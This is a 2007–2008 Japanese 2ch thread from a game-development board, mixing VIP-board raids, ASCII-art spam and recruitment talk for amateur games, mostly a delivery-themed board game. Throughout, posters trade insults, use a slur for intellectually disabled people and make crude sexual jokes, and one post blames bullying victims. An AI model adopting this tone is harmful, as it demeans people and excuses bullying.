AVばっかでエロゲやったことないんだ。どう考えても人生の八割損してます。本当にありがとう
>>357 いちいち書き込むなよ。ここは天下のゲ製、VIP連中には敬語を使ってもらいたいもんだ。
359 :
名前は開発中のものです。:2007/12/26(水) 15:43:14 ID:LSNyBWHV
生まれてきてゴメンなさいwwwwwwwwwwwwwwwww
>>359 頼むから書き込まないでくれ。やめないと運営に通報してVIPへの規制を強化するよう頼むぞ。
>>360 もう病気だこいつ
>>362 VIPPERが来てるからだろ。察しろ。
>>358 いつのまにそんな格調高いスレになったんだここは
>>361 頼むから書き込まないでくれ
お前はVIPにとってもこのスレにとっても迷惑だ
>>346 そうは言っても正直仕様をどう書いたら良いかわからんですよ。
366 :
名前は開発中のものです。:2007/12/26(水) 15:48:26 ID:Ytz61uoc
びっぷからきますた★
369 :
名前は開発中のものです。:2007/12/26(水) 15:51:11 ID:ZW3JHsEv
呼んだ?
>>368 お前ら、VIPの世界における立場わかってる?
だから、おまえがプログラムを作れ。 ネット無しなら作れるだろう。
努力を示さなければ誰も相手にしない。
372 :
名前は開発中のものです。:2007/12/26(水) 15:52:46 ID:Ytz61uoc
びっぷからきらすた★
374 :
名前は開発中のものです。:2007/12/26(水) 15:53:49 ID:Txo7eAXU
/ ̄ ̄ ̄ ̄ ̄ ̄ \
/⌒ヽ / '''''' '''''' ヽ
| / | (●), 、(●) |
| | | ,,ノ(、_, )ヽ、,, |
| | | `-=ニ=- ' |
| | ! `ニニ´ .!
| / \ _______ /
| | ////W\ヽヽヽヽ\
| | ////WWWヽヽヽヽヽヽヽ
| | ////WWWWヽヽヽヽヽヽヽ
E⊂////WWWWWヽヽヽヽヽヽヽ
E////WWWWWWヽヽヽヽヽヽヽ
| | //WWWWWWWヽヽヽヽヽヽヽ
VIPから来たけど馬鹿が一人VIPPERに燃料を提供しているせいで火に油を注いでいるな
他のまともな住民のことを思うと気の毒です
こんな死に板へようこそ
正直だれも迷惑していない
VIPって、何の略? 何を意味するの?
379 :
名前は開発中のものです。:2007/12/26(水) 15:57:18 ID:U6jRV/mE
>>370 VIPってつまり大物とか偉い人の事でいいんだよな?
VIPのフルスペルを書いて
very important person
真面目に凄いスレだなココは。頑張ってくれ
ヴァーチャルインターネットプロトコル
>>382 だからVIPPERは出て行ってくれ。真面目にやってる人たちが可愛そうだ。
VIPの特技は何ですか?
>>375 すみません、ID:t53RmFeMがVIPにご迷惑を
>>376 スルーできてなかったのは俺だけか
すまんかった
ト、
':, '「::::\┐___,,.. -‐ ''"´ ̄ ̄`"'' ー 、., /
':, r-‐'へ::::::::!_'´ __,,,,......,,,,,__ `ヽ. / み み
':, >:、:;::::::>''"´ `"'' ヽ. ,' ょ ょ
':,└─ァ''"' / ,'´ ヽ. ':, i. .ん ん
. \ ,' / / ,' ! ; ', ヽ ':, | み
\ / ,' ,'! /! ! ; /! i .!. .!. ょ
∠__,! / !メ、」_,,./| /! / ! ハ! | |. |. ん
`"'' 、..,,_ ! / ,ァ7´, `iヽ| / |ヽ、」ニイ、 | .| |. |. ! !
i,/レイ i┘ i. レ' 'ア´!_」 ハヽ| | | ∠
─-- / ! ゝ- ' ! ! ! | | `ヽ.
/ 7/l/l/ 、 `'ー‐ '_ノ! | i | ` ' ー---
,. -──-'、 ,人 `i`ァー-- 、 /l/l/l | !. | |
ヽ.ソ `: 、. レ' ', u ,/| | ! |
み み i /ーナ= 、 '、 ノ ,.イ,カ ! | |
ょ ょ .|ヘ./|/レへ`>-r =ニi´、.,_ | i ハ ! ,'
ん ん ! _,.イ´ヽ.7 / /:::| /レ' レ'レ'
み み | /7:::::! ○O'´ /::::::レ'ヽ. ___
ん ょ | / /:::::::レ'/ムヽ. /::::::::/ ヽ. ,. '"´ `ヽ.
! ! ! ./ ,':::::::::::!/ ハ:::::`´:::::::::::;' ', / i
べりー
いらない
ぱーそん
反応が遅いなぁ、機敏さに欠ける
392 :
名前は開発中のものです。:2007/12/26(水) 16:06:59 ID:SsTT39gx
VIPかららき☆すた
394 :
名前は開発中のものです。:2007/12/26(水) 16:09:08 ID:U6jRV/mE
一時間も居座ってる時点で(笑)
えーっと、
池沼がこのスレを荒らすためにVIPを使ってるってことか
帰りますね
VIPの人、何人いるの? 挙手して
398 :
名前は開発中のものです。:2007/12/26(水) 16:11:38 ID:U6jRV/mE
安価ミス吹いた
なーんだ、VIPの人は397ただ独りなんね
401 :
名前は開発中のものです。:2007/12/26(水) 16:12:38 ID:U6jRV/mE
カワイソス
>>387 vipの方は気にする事も無いんじゃね。
ID:8HBnkixWOが一人騒いで何となくリンク踏んでる奴が大半。
と言うかここまで来ると自演臭いけど。
>>397 そんなに俺のことが好きなのか
いいからしゃぶれよ
406 :
名前は開発中のものです。:2007/12/26(水) 16:13:45 ID:V7FovUfc
VIPから来ました。
特に反論はありません続けて下さい。
407 :
名前は開発中のものです。:2007/12/26(水) 16:14:04 ID:U6jRV/mE
まあ全部俺の自演なんだけどな
>>406 つまりVIPは低学歴で仕事も見つからずエロゲしかすることのない集団ってことでいいねw
409 :
名前は開発中のものです。:2007/12/26(水) 16:16:29 ID:U6jRV/mE
そろそろ寝ないと明日に響くんだ、すまない
VIPの人の学歴をおしえてください。
VIPからの援軍来ませんね。
お前人望ないね、ネットの中でも実生活でも。
>>411がもう、手の施しようがないくらい必死なんだが…
VIPの人、居ないジャン つまんない
まあもともとVIP批判なんてここに無いし
417 :
名前は開発中のものです。:2007/12/26(水) 16:22:34 ID:U6jRV/mE
正直反応鈍くてつまんないんだ
せめてもっと鋭くつっこんできてほしいのに。頭弱い人なのかな
VIPからクズなVIPPERを回収にきました。
ご迷惑おかけして申し訳ありませんでした。
VIPを代表して誤りたいと思慮しております。
申し訳御座いませんでした。
419 :
名前は開発中のものです。:2007/12/26(水) 16:24:11 ID:U6jRV/mE
回収された
ノシ
413 名前:名前は開発中のものです。[sage] 投稿日:2007/12/26(水) 16:18:44 ID:3cZRsHte
VIPからの援軍来ませんね。
お前人望ないね、ネットの中でも実生活でも。
418 名前:名前は開発中のものです。[sage] 投稿日:2007/12/26(水) 16:23:44 ID:3cZRsHte
VIPからクズなVIPPERを回収にきました。
ご迷惑おかけして申し訳ありませんでした。
VIPを代表して誤りたいと思慮しております。
申し訳御座いませんでした。
VIP代表(苦笑)
422 :
名前は開発中のものです。:2007/12/26(水) 16:31:59 ID:ozavAhHX
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(^ω^ )(ω^ )/⌒ヽ(^ω^)/⌒ヽ^ω^) ( ^ω)-っ
/⌒ \ | _二二二つω^ )(\ ( ^ω^ )二⊃ /⌒ヽr
⊂二(^ω^ )二ノ /( ^ω^ ) ⊂二\\_/⌒ヽ二二( ^ω^)二⊃
ヽ | (´ ._ノ ヽ /⌒ヽつ \( ^ω^) | / ブーン・・・
ソ ) \\⊂二二二( ^ω^ )二二二⊃ ⊂_) ( ヽノ
( < \ レ’\\ ヽ / i ) ノ ノ>ノ
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⌒|
423 :
名前は開発中のものです。:2007/12/26(水) 16:35:09 ID:XStwwXxr
この板へ誘導しる
801・葉鍵・角煮へ指令!!
VIPからきますた
で、
>>108ってまだ募集してるの?
シナリオぐらいしか出来ないけど、
それで良いならやってみようと思うんだけど
vipから来たんだけど
ゲーム完成したらやりますよノシ
ID:t53RmFeM
真性?
つーかスレ間違えてないか。
VIPのゲーム制作はそういうスレが別個になかったっけ?
428 :
名前は開発中のものです。:2007/12/26(水) 16:46:13 ID:G9c4YQDw
VIPからきますたAEならほんの少しだけ使えます少しだけ
VIPに変なレス付きまくりでこっちとしても見苦しいのでやめてほしいんだ
ここのスレの人ごめんなさいね
VIP行って暴れてるやつって、まさか上のほうでトロイ撒こうとしてたやつじゃないだろうな。。。
しっかしVIPの連中は無関係なスレを荒らして何がしたいんだ。
ここを荒らしてた奴らがゲ製の住人に論破されてるな。
530 :以下、名無しにかわりましてVIPがお送りします。:2007/12/26(水) 16:52:45.52 ID:yiLDfpYm0
>>527 それはあきらめた
俺がいいたいのは、1084のやり方から反発して出来たようなスレなのに1084みたいなライターがいるのはおかしい
スタッフ直させるべきじゃね?
これ
531 :以下、名無しにかわりましてVIPがお送りします。:2007/12/26(水) 16:54:04.80 ID:1XO3yGfJ0
>>528 だーーーーーーーーかーーーーーーーーーーーーーら!!!!!!!!
いい加減あぼんするぞこの脳筋!!!!!!
手前の仮説の披露になんで俺の主観が入るんだぁあああ!!!!
もしかしてお前仮説検証とかリベートとか分からないのか?それでこんなに
俺をくるしめているのか?うん?
お前は自分の仮説に例を添えて提出するんだよそんでそれがすべて終わってから反対側はその論理ラインの
ミスを探すか検証可能性の話をするんだよ分かったか馬鹿野郎!主観の入る隙なんぞないからさっさと出してきやがれ!
532 :以下、名無しにかわりましてVIPがお送りします。:2007/12/26(水) 16:55:42.48 ID:yiLDfpYm0
>>531 その仮説がどうであるか判断するのはお前の頭だろーが
リベートってディベートの間違い・・・だよ・・・ね・・・?
VIPは行ったことないが、どこであれゲームを作ってる人間は応援する。
とりあえず…
ここは語るスレとは全く無関係だぞ?おまえら
>>371 いや、一応努力はしたんですよ。図書館で本借りてきて・・・
でも、あれじゃないですか、まったくの初心者。
Cは読めるなんて大口叩きましたけど実際は高校の電子コースで1〜10の合計を求めるPG書いただけでとてもとても・・・
クラスってなに?オブジェクト?って感じでもう。
そんなわけでPGは置いといてやっと絵を描き始めたんですよ。
絵が置いてないのは単に遅筆なだけで、UPしようとは思ってます。
436 :
名前は開発中のものです。:2007/12/26(水) 17:22:51 ID:DTyMIa/Y
VIPからき☆すた
訴訟うんぬんの奴のせいでこのスレが…
>>377 Virtual
Ilony
Person
440 :
名前は開発中のものです。:2007/12/26(水) 17:38:03 ID:HcHV3CZq
''';;';';;'';;;,., ブーン・・・
''';;';'';';''';;'';;;,., ブーン・・・
;;''';;';'';';';;;'';;'';;;
;;'';';';;'';;';'';';';;;'';;'';;;
rっ vymyvwymyvymyvy、
|| mVvvMvyvmVvvmvyvmVvv、
ブーン・・・ |/⌒ヽ /^ヽ (^^) /^ヽ (^^) /^ヽ(^^)/^ヽ ブーン・・・
(^ω^ )(ω^ )/⌒ヽ(^ω^)/⌒ヽ^ω^) ( ^ω)-っ
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⊂二(^ω^ )二ノ /( ^ω^ ) ⊂二\\_/⌒ヽ二二( ^ω^)二⊃
ヽ | (´ ._ノ ヽ /⌒ヽつ \( ^ω^) | / ブーン・・・
ソ ) \\⊂二二二( ^ω^ )二二二⊃ ⊂_) ( ヽノ
( < \ レ’\\ ヽ / i ) ノ ノ>ノ
\|\| レ (⌒) | /ノ ̄ レレ
⌒|
訴訟うんぬんの奴です
こんばんわ^^
もう法律を使うまでもないですねw
442 :
名前は開発中のものです。:2007/12/26(水) 17:56:53 ID:IzE+gJes
にゃんにゃんうにゃうにゃにゃ
にゃんにゃん
vipper(笑)必死だな
良く分からんが、必死な奴が数人いるな
見えない敵多すぎワロタ
445 :
名前は開発中のものです。:2007/12/26(水) 21:51:42 ID:U6d6F/y/
VIPからわざわざきたぞ
このスレにVIPPER誘導した香具師、何が目的なの不明だが、すげぇ馬鹿。
もともとこのスレって特定の話題があるわけじゃなくて、
ゲーム製作を夢見る(笑)ピュアな子羊を肴に楽しむスレなのに。
だから外部からのお客さんは基本的にウェルカムだ。
>>348とか
>>388とか、個人的に大歓迎w
レスの大量投下で流されるほど意味あること話してるわけでもないし。
むしろせっかく来てくれたのに、何もないスレでゴメンって言いたい。
祭りネタが欲しければ
>>203が犯罪ギリの行為やってるんで、
土産に持っていってくれ。
VIPPERって絶対的に数多すぎwwwwwwwwwww
過負荷で鯖が壊れちまいそうwwwwwwwwwwww
まずね、VIPから来たって書いてる奴はほぼ確実に以前からここを見ていた人間であるということ。
しかしスレにとってはVIP住人であろうとゲ製住人であろうと荒らしには違いないのであった。
ていうかどうでもいい
このスレが荒れようが無くなろうが誰か困るか?
まぁ、終了みたいだね
451 :
名前は開発中のものです。:2007/12/26(水) 22:54:13 ID:ONwDVwHP
>>446 すいません、3行以内でお願いできますか?
VIPPERなんで。
まあVIPのみなさんも暇じゃないだろうしな。
でも嫌な流れも緩和された気もするし、また元の
流れに戻ればよくね?
まあしょっちゅう来られても困るけどさ
踊るアホウ
見るアホウ
同じアホなら踊らにゃソンソン♪
454 :
名前は開発中のものです。:2007/12/26(水) 23:00:54 ID:tdhVgiO9
呼ばれたらしいのでVIPから
455 :
名前は開発中のものです。:2007/12/26(水) 23:02:47 ID:f2T6fehT
は〜いビッパーだよ〜んwww
━━━━━━━━━━━━━━━━━━━━━━━
ここまで読み飛ばした
━━━━━━━━━━━━━━━━━━━━━━━
どうも
「だから」を使ってVIPを馬鹿にするやつが許せなかったのできますた
勝ち組だから何を言ってもいい(笑)
お偉いさんだから平民に何をやってもいい(笑)と同じじゃん
結局偉い人は脳みそカチカチ
どうも
「だから」を使ってVIPを馬鹿にするやつが許せなかったのできますた
460 :
:名前は開発中のものです。:2007/12/26(水) 23:15:07 ID:/VhOeOq/
''';;';';;'';;;,., ブーン・・・
''';;';'';';''';;'';;;,., ブーン・・・
;;''';;';'';';';;;'';;'';;;
;;'';';';;'';;';'';';';;;'';;'';;;
rっ vymyvwymyvymyvy、
|| mVvvMvyvmVvvmvyvmVvv、
ブーン・・・ |/⌒ヽ /^ヽ (^^) /^ヽ (^^) /^ヽ(^^)/^ヽ ブーン・・・
(^ω^ )(ω^ )/⌒ヽ(^ω^)/⌒ヽ^ω^) ( ^ω)-っ
/⌒ \ | _二二二つω^ )(\ ( ^ω^ )二⊃ /⌒ヽr
⊂二(^ω^ )二ノ /( ^ω^ ) ⊂二\\_/⌒ヽ二二( ^ω^)二⊃
ヽ | (´ ._ノ ヽ /⌒ヽつ \( ^ω^) | / ブーン・・・
ソ ) \\⊂二二二( ^ω^ )二二二⊃ ⊂_) ( ヽノ
( < \ レ’\\ ヽ / i ) ノ ノ>ノ
\|\| レ (⌒) | /ノ ̄ レレ
⌒|
よくよく
>>441見てみたらVIPで貼られてる文って、889番目のレスなのねw
まだ、ここ500も行ってないんだが・・・
やるなら、もう少しちゃんと仕事してほしいなぁ・・・
,r- 、,r- 、
/// | | | l iヾ
/./ / \\ヽ、
// (●) (●) ヽヽ
r-i./ ⌒(●●)⌒ ヽl-、 中出しは勘弁だお
| | | |r┬-| .| | ノ
`| |ヽ `ー' ノ| |
.| | |.\ `ー-‐'' /.| | |
.n:n nn
nf||| | | |^!n
f|.| | ∩ ∩|..| |.|
|: :: ! } {! ::: :|
ヽ ,イ ヽ :イ
464 :
名前は開発中のものです。:2007/12/26(水) 23:37:07 ID:/RCojIzi
VIP から。。。。
>>465 向こう見てきたけど、なんか真性が湧いてるっぽいね。
主要キャラ以外フルボイスのエロゲつくりませんか?
誰かと思ったがアレか。
あぼ〜んせずにROMってたが思ってたよりつまらんかった。
主要キャラ以外って、声入ってんの脇役だけかよw
まあゲームやる時、まず最初にボイスミュートを探すような俺には
関係のない話だな。
AVで言えば男優とかカメラマンの声しか入っていないということか。
スチルの撮影音だけとかね
472 :
名前は開発中のものです。:2007/12/27(木) 06:39:31 ID:UFRpHebP
''';;';';;'';;;,., ブーン・・・
''';;';'';';''';;'';;;,., ブーン・・・
;;''';;';'';';';;;'';;'';;;
;;'';';';;'';;';'';';';;;'';;'';;;
rっ vymyvwymyvymyvy、
|| mVvvMvyvmVvvmvyvmVvv、
ブーン・・・ |/⌒ヽ /^ヽ (^^) /^ヽ (^^) /^ヽ(^^)/^ヽ ブーン・・・
(^ω^ )(ω^ )/⌒ヽ(^ω^)/⌒ヽ^ω^) ( ^ω)-っ
/⌒ \ | _二二二つω^ )(\ ( ^ω^ )二⊃ /⌒ヽr
⊂二(^ω^ )二ノ /( ^ω^ ) ⊂二\\_/⌒ヽ二二( ^ω^)二⊃
ヽ | (´ ._ノ ヽ /⌒ヽつ \( ^ω^) | / ブーン・・・
ソ ) \\⊂二二二( ^ω^ )二二二⊃ ⊂_) ( ヽノ
( < \ レ’\\ ヽ / i ) ノ ノ>ノ
\|\| レ (⌒) | /ノ ̄ レレ
⌒|
全然書き込みないのみるとVIPからきてなくね?
裁判だかなんだかはどっかでやれ、構ってチャンはほっとけ
いや、もともとこのスレ住人がVIPとかぶってっからw
書込みが少ないのもそのため。
VIPのせいにして荒らしてるのが若干名wwww
一般VIPPERはクォリティ高いスレしか相手しねぇしwww
VIPPER自体くずの集まりなのに…www
ふかいのホームページ見たあとアドウェアスキャンしたら
スパイウェア出てきたんだけどこれ何?
>>478 スキャンしたなら詳細見てググレば出てくるべ。
ウイルスかと思ったら俺の脳ミソだったwww
どこから漏れたんだろwww
脳ミソ漏れてウィルスとアドウェアの区別もつかないもんなw
そういえば宅配は、ボードってのがどんなのか分からない
ボードゲームといえばこれだという、共通の決まったものがあるのか?
おや、こりゃ失敬。
ええと、シヴィライゼーションの様な感じと言えば分かりますかね?
地図の上で主要な都市がコマになっていて、道路でつながっている様な・・・
CIVwwww
どんだけ複雑なんだよwwww
>>484 例えが悪かったですねw
単純に地図上に都市が点在していて、道路で繋がっているという事を伝えたかったのですが。
単純に○で表すか、ちょっと寂しければ多少絵でも描こうかと
>>485 あれ?キミ絵うまいんじゃなかったの?
これある程度まで描ける人が描いた図には見えんぞ?
>>487 単純だけど結構描けてるぞ。
お兄さん突っ込みは好きだが、的外れは嫌いだな
萌え絵見たいだけっすwさーせんwww
外れているのかどうか他の人の意見も聞きたい所だな
俺にはどこが結構なのかぜんぜん解らない
適当ですがって断ったうえでの図なのに、何をもとめている?
萌かエロを手土産にするのは基本だろ常考
それだけで驚くほど心証が良くなる
適当すぎるよ。
人に説明するんだったらもうちっと解り易く書くべきじゃないかな。
まぁ俺らに説明したってしょうがないんだけどさ。
>>490 実際書いてみると分かりやすいかな。
途切れない海外線とか結構難しいし、バランスも良い感じ。
丸とかも描き慣れてる感じ。
まあ山とか湖? 等の地形がいまいちだけど。
お宝鑑定団って番組あるやん?
それで掛け軸の偽物がたくさんでてるけど、それを見れば分かりやすいかな。
偽物は線がいまいち、勢いが無かったり、洗練されていない。
>>485 の絵は海岸線の線に迷いが無い。
あと丸の描き方が描いてる人の物。
それと結構手抜きだけど、こういうものって破綻無く描くの結構めんどくさい。
人物しか描けない人だとこう言う感じには描けない。
後言われてすぐ用意するのは絵を環境が揃っている証拠。携帯UPでもないしね。
以上かな。
ありゃ、いつのまに
絵が増えとるw
>>486 だいたい理解しました
〇の所にマーカーやコマを置いて、線が繋がっている所にコマを移動できるのか
開始位置は書いてなかったけど、どこでもいいの?
ゲームを進めていると、同じマスに複数の荷物が置かれそうだけど、
そのマスにコマが来たとき、荷物の扱いやペナルティはどうするの?
ルールはまだ決まっていないのかな
読んで頂いて感謝です。
開始位置は順番に任意の場所に置いてから、と思っています。
荷物が沢山置かれる場合、全部受け取ります。つまり”効率の良い”仕事になります。
ただゲームのルール上、荷物が3個になったら、置くのを打ち止めようかと思っています。
それと、荷物コマの数を程よく少なくしておいて、在庫が無くなったらダイスを振るのを辞めようかと思います。
そうしないと荷物だらけになりそうなのでw
VS2008の勉強も兼ねて
>>485の絵と公式HPのひよこの絵で宅配ゲームもどき作ろうとしたら
.NET3.0以上入れてる鯖が少ない!絶望した!
Silverlightってのなら簡単にできるのかなー
つうかそこまで仕様が決まってんなら
ひとりで作っちまえばいいんじゃね?
ルール更新しました。
結局上限を3個にするのは戦略上制限が出ると思ったので辞めにしました。
4個以上の場合は即効罰則となります。
>>502 最もな意見なんですが、一人だとモチベーションが保てないんです。
>>503 STGなら作れるんですけどそれじゃあだめですか?
絵とかへただし自分も一人だと作る気起きないタイプなんで困ってます。
二人以上だとモチベが保てる自信はどこから?
単純に時間です。
発足後モチベーションはだんだん下がっていきますよね。
一人でだらだら作ってると作り終える前に飽きちゃいませんか?
そんな訳でやる気のある内に手早く、と言う魂胆なんですがw
STGってストラテジーゲームですか?
それともシューティング?
つきなみだけどシューティング
いくらか過去の遺産があるからドット絵、キャラ絵、世界観および設定があれば作れるかも
>>506 でも前回は3人もいたのに飽きたみたいじゃん。
前は絵から入ったせいだと思ってるみたいだけど絵から入っても完成するよ。
むしろ絵描きが募集するならまず絵は完成させないと。
前回絵を描いて人が集まったのは絵自体に魅力あったからかもしれないけどコンスタントに絵を上げてて
この人なら完成まで絵を描き続けられるだろうって思われたから人が集まったんじゃない?
で、募集するならデモ画面とその遷移フローチャートの作成から始めた方がいいと思う。
画面遷移無しならそれぞれのウィンドウが出てる状態とその条件(○○ボタン押したときとか)を細かく書いていくとか。
それすら面倒臭い!って言うなら人集まっても完成は見込めないかと。
509 :
名前は開発中のものです。:2007/12/29(土) 17:15:14 ID:GTB68bOj
他スレ使うか自分のサイトに掲示板用意するかメールでやりとりしろ
だったらあげんなカス
511 :
名前は開発中のものです。:2007/12/29(土) 17:49:50 ID:GTB68bOj
だったらとか意味不明、新たな製作者が来るようにageるのに何か問題でも?
いつ言われるかとドキドキしてたw
立てようと思ったら規制が・・・orz
>>507 ごめんなさい、シューティングも嫌いではないんですが、まずは宅配を完成させたいです。
評価して頂いて感謝します。
>>508 ですよね・・・
実は一度、半ば募集をあきらめて、サーバー書いてたんです。
そのせいで絵のほうが手付かずと言うか、なんと言うか。
サーバーのほうが大分目処が立ったので、フローチャートを作ってみようと思います。
どなたか立てて頂けませんか?
【ネット対戦】宅配【ボードゲーム製作募集】
宅配ファンタジスタ
宅配をモチーフにしたネット対戦可能なボードゲーム。
プレーヤーは宅配により報酬を得、ゲーム終了時の持ち金の多さを競います。
まとめブログ
http://takufan.sblo.jp/
他の製作者なんかどこにいるんだよ
取り敢えずレベル高めの企画はムカつくからさっさと追い出し
しょぼいのは叩いて楽しむみたいな奴がいるからな
ここも随分腐ったな
他にも募集掲示板があるんだが気がつくとここに戻ってくる…どうしてだろう
2chなんか〜という意見もあるけどぶっちゃけここでも他でもかわんなくない?
mixiは厨房の巣窟だし、どこいっても腐女子と罠企画多いし…
コンチャレス側
>>518 自己評価もろくすっぽ出来ないキモオタって最悪だよねw
523 :
筝漢:2008/01/02(水) 20:13:04 ID:APLsmajJ
シナリオ希望で書きたいのですが、現在でも応募出来る所ありますでしょうか。
シナリオしか書けないですが。ここのスレにアップロードした
文章を貼り付けてもいいでしょうか。
524 :
筝漢:2008/01/02(水) 20:14:50 ID:APLsmajJ
523です、sageしていなくてすみませんでした。
普段書き込むことがほとんどなくて焦っていました。
525 :
筝漢:2008/01/02(水) 20:16:13 ID:APLsmajJ
ここのスレにアップロードした
文章を貼り付けてもいいでしょうか。
ではなくてアップロードした文章へのURLを貼り付けてもいいのでしょうかです。
1レスに収まる長さなら文章、無理ならurl
ゲームの原作作ってくれるならやってほしいかも(世界観やキャラ設定からってこと)
528 :
筝漢:2008/01/02(水) 21:32:34 ID:APLsmajJ
529 :
筝漢:2008/01/02(水) 21:45:32 ID:APLsmajJ
原作になる小説は公開されるのでしょうか。RPGなら公開されないところ
を今まで見てきています。
530 :
筝漢:2008/01/02(水) 22:11:35 ID:APLsmajJ
公開していたものを削除しました。また、いくつか探します。
とりあえずゲームジャンルとかなんでもいいんですか?
STGなんですけどどうです?
STGにストーリーなんているか?
典型的な、物が先に出来るタイプのジャンルだと思うんだけど。
必要は無いけど自分はキャラ絵とストーリーはいつも多少入れてる
場合によって簡単なキャラ&世界設定だけとか、ストーリーも作ったりとか、台詞を決めたりとか
>>532 最近のにわかシューターは設定に拘るんだよ
東方とか見たら分かるだろ。同人STGにSTGを純粋に楽しんでるやつは少ない。先に萌え絵と世界観ありきな空気が出てきてる
シューティングはストーリーよりも世界観だな
文字なんていらないから、映像で人を感動させないと
美しい弾幕放ちますよ?
ラグナロクオンラインみたいなドット絵描ける人いないっすかね?
ラグナかよ
539 :
名前は開発中のものです。:2008/01/05(土) 08:22:26 ID:CxKERNXw
【ゲームのジャンル(ただRPGを作るとかでなく具体的に)】
マップ移動型の多人数参加phpゲーム。
冒険・探索・生産・戦闘どの要素も重視し、視覚的なRPGにします。
【製作期間・完成予定日】
半年以内に完成予定
【コメント・意気込み】
ゲーム本体については完成に持ち込む自信はあります。
しかしどう考えても高負荷なphpなので、
理想していたものと同じ仕様にできるかどうかは不明。たぶんできます。。
気軽にやっています。
【現在の製作状況、進展度】
ログイン画面・マップ表示の中核部分まで。
【高負荷cgi・phpを扱ったことがあり、かつサーバーの知識がある方 1名】
唐突に作りたいって思って急いで学んだもので、
肝心のサーバー管理・負荷についての知識があんまりないです。場数踏んでません。
高負荷なcgiやphpを扱ったことがありサーバー管理のできる方、
簡単な質問に受け応えしてくれないでしょうか。(質問のみで製作に参加は無いです。)
【ゲームシステム案・テスター 1名】
「こういうシステム足せば面白いんじゃないか」とかで結構です。案ください。wktkするような案がほしいです。
まったくくだらないような事でもいいです。テスターとしても参加して頂きたい。
ここでは形になっているものを提示できませんが
希望があれば、どういうものを作るのか、どこまで完成しているのか詳しくお話しようと思います。
興味がある方は
[email protected]までお願い致します。よろしくお願いします。
・・・やっぱりきょうびボードゲームなんて流行んないかな・・・
おめーはそういう問題じゃねーだろ
ボードゲームは好きだけどFLASHわかんねw
ツモのみwwwwwキタ━━━━━━(゚∀゚)━━━━━━ッ !!
\(^o^)/
ボードゲーマーだけど、正直全然面白くなさそうなところが。
あれって実際に作って遊んでみました?
一応やってはみましたが・・・
いかんせんパートナーがいないのでなんともはや・・・
そもそも、誰と遊ぶつもりだったんだ?
以前、身内で遊ぶって言ってたと思うんだが
その身内は協力してくれないの?
パートナーって?
PCゲームとしてじゃなくて、ボードゲームとしてプレイテストはしたのかなと。
正直、作ってくれって頼んでいる立場で、
ルールや仕様が確定していない、
作って試してから変更するって考えが理解不能です。
宅配さんはゲーム作るから絵描いてくんない?
描いてほしいキャラは○○*複数で、イベントCGは××*複数。
ストーリー確定してないから変更あるかもしれないけどよろしくねー。
とか言われて手伝う気になるんですか?
ほんとはおまいらとやりたかったんだお・・・
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\
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/ ――― ――― \
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\ 人 ヽ ´ ` ' / ││
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/ \ ││
やる夫だろう?
宅配は 忠告を聞かないから、誰にも相手にされない。
独りで最後までやって、反省できるように体質が変われば 道が開ける。
なにか書こうかと思ったけど
>>551以上のことは書けなかった
・募集済み
・専用スレあり
ということから考えると、このスレに顔出し過ぎるとうざがられそうだね
>>551 最後までやれたらすでに誰の助けも必要ないんだけどw
もう不毛だから神扱いされたいだけの妄想ネトゲの募集は禁止にしろよ
どこにでも、孤独ないじめられっ子っているじゃないですか、
いじめる側も問題あるけど、多くの場合は いじめられる側に重大な問題がある。
原因を認識していないこと。認識していても直そうとしない事。あきらめてしまう事。
結局ですね本人の問題であって、
グループとしては雰囲気が悪くなるなら排除してしまえとなる。
>>546 前も誰かに言われてた気がするけど
プログラムが無理そうなら、とにかく先に絵(素材)描いてみればいいんじゃね?
「あとプログラムだけ貰えればゲームができる!」って位まで進めておけば
募集が来る可能性も上がるだろう
雰囲気が悪くなる、程度のことで人に重大な精神的ダメージを与えるようなことを平気でするのが、いじめ
空気よめ、程度のこと
ここには守る必要のある雰囲気やら空気なんてないよ
言われているのは、雰囲気がどうとかじゃなく、作る人間としての姿勢
それが分からないから相手にされないだけ
ここで偉そうに説教たれてる奴って
よっぽど自分の人間性が素晴らしいと思って書いてるのかね。
常識的に考えて、そんなご立派な人格者が
こんなとこでネット弁慶してるとは思えないのだが
素晴らしい人格者じゃなくても明らかに下の奴がいれば説教たれてやっていいんじゃね?
>>562 だよなぁ。
どう見てもスレ違いが進んでるし。
>>561 明らかに下かどうかの判断は誰がするの?
>>563 自己満足の為だけの叩きが多いからじゃないの?
>>548 いやぁだって、それこそパートナーがいるんじゃ・・・
一人プレイはしてみましたが・・・
変更と言ってもステータスくらいで、大幅な変更が必要ないくらいには固まっていると思うんですけど、どうなんでしょうね。
ボドゲのプレイなんて、いつも遊んでるメンツに
「ゲーム作ってるからちょいと調整つきあってくれよ」
とでも頼めばすむ話じゃ?
遊び相手のいない人間には通用しない理屈だな
宅配はボードゲーム好きの知人は多いんじゃなかったのか?
擁護しといて何だが
宅配のアイデアには斬新さ0。遊びたいと思わせる要素0。
多分ここが一番大きなネック
否定的なレスは多く感じると思うが、
自分に必要だと思われる異見だけ真面目に聞いて、あとは無視するが良ろし。
つーか
>>539 も妄想のまま蒸発したんかね。
最近はこういうパターンが多い気がするんだが。
興味が有る奴は黙ってメールしてんだよ、きっと!
コテ付けて書き込んだら書き込んだで、空気嫁言われるしなw
きちんと募集して、あとは黙ってメール待つのが一番かも
とりあえず自演やめたら来ると思う
他人には自演が基本と教えるが自分ではやらないオレガイル
優秀なやつは仲間見つけてさっていったからな
残りカス相手に募集しても見つかるわけがない
つーか、こんな荒らしが張り付いてるスレで募集なんてよう掛けんは。
それなりの腕、普通の社交性があれば、リアルで見つけられるからねぇ。
このスレは、無能かつ社会性なしのクズの、最後の砦。
当然、そういうクズを笑い物にして楽しみたいクズ以下の連中も集まってくる。
結局人間は一人なのさ。
荒らしがいることよりも過疎って応募する人間がいないことが問題
応募する人間がいなければ募集スレが成立するわけない
>>577 荒らしがいるから過疎→募集が掛からない→忘れられた頃活動再開
どこもこんな流れじゃね?
まともな募集来た時のこのスレの流れ見た上で言ってるのか?
まともな募集なんてもう長い間おめにかかってない気もするが
ちょっと煽られたら訴訟するとか言い出すやつとか、自分の都合の悪いレスは全部無視とか、そんなのばっかじゃん?
都合の悪いのを全部無視、は正しいっしょ。
低学歴が大量に混じってるのに、わざわざ相手する義務はない。
おれも数年いるけどみたことない
都市伝説じゃね?
まともな募集と言ってるが個人の主観なので定義が分からん。
他人分かるように説明希望。
まともな募集が来るとスレの流れが止まるのは、
馬鹿には見えないからなんだな。今日納得。
スレ止まるのなら応募者にとって都合いいじゃないか
と思ったが、まともな募集以外全員バカってことか。納得
